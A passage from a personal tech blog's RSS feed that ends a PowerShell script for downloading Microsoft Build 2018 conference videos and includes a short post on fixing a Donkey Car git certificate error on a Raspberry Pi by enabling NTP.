&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;default&lt;/span&gt; {&lt;span style=&#34;color:#f4dbd6&#34;&gt;$video&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2018/rss/mp4high&amp;#34;&lt;/span&gt;)); &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$video&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;channel&lt;/span&gt;.item) {    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Grab the URL for the MP4 file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$url&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;enclosure&lt;/span&gt;.url)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create the local file name for the video download&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;NEW SESSION&amp;#39;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;™&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;œ&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.mp4&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;NEW SESSION&amp;#39;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;™&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;œ&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; doesn&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make sure the video file doesn&amp;#39;t already exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;))     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Echo out the  file that&amp;#39;s being downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the video file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#91d7e3&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$url&lt;/span&gt; -OutFile &lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;\&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#move it from the current working folder to the target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Video: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; - anoter process possibly working on this; skipping download.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Video: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; exist; skipping download.&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#end-loop foreach&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#end - video check&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Oops, could not find any videos or some other error happened.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** End - download the videos section **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*************** All Done! Woot! ***************&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Certificate error with git and Donkey Car</title>
      <link>/post/2018/05/certificate-error-with-git-and-donkey-car/</link>
      <pubDate>Wed, 23 May 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/05/certificate-error-with-git-and-donkey-car/</guid>
      <description>&lt;p&gt;If you were trying to pull the latest source code on your Raspberry Pi for donkeycar, and get the following error, then probably your clock is off (and I guess some nonce is failing). This can happen if your pi had been powered off for a while (as in my case), and it&amp;rsquo;s clock is off (&lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Clock_drift&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		clock drift
	&lt;/span&gt;
&lt;/a&gt; is a real thing) :).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fatal: unable to access &#39;https://github.com/wroscoe/donkey/&#39;: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To fix this, the following commands works. It seems the Raspberry Pi 3, by default has NTP disabled and this would enable it. I also had to check the result status with the second command, and force it with the third one.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo timedatectl set-ntp True
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;timedatectl status
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo timedatectl set-local-rtc true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And that should do it; you might need to reboot the pi just to get it back on and then you should be able to pull the code off git and deploy your autonomous car.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>AI photo and style transfer</title>
      <link>/post/2018/05/ai-photos-style-transfer/</link>
      <pubDate>Tue, 22 May 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/05/ai-photos-style-transfer/</guid>
      <description>&lt;p&gt;Can #AI make me look (more) presentable? The jury is out I think. &lt;p&gt;

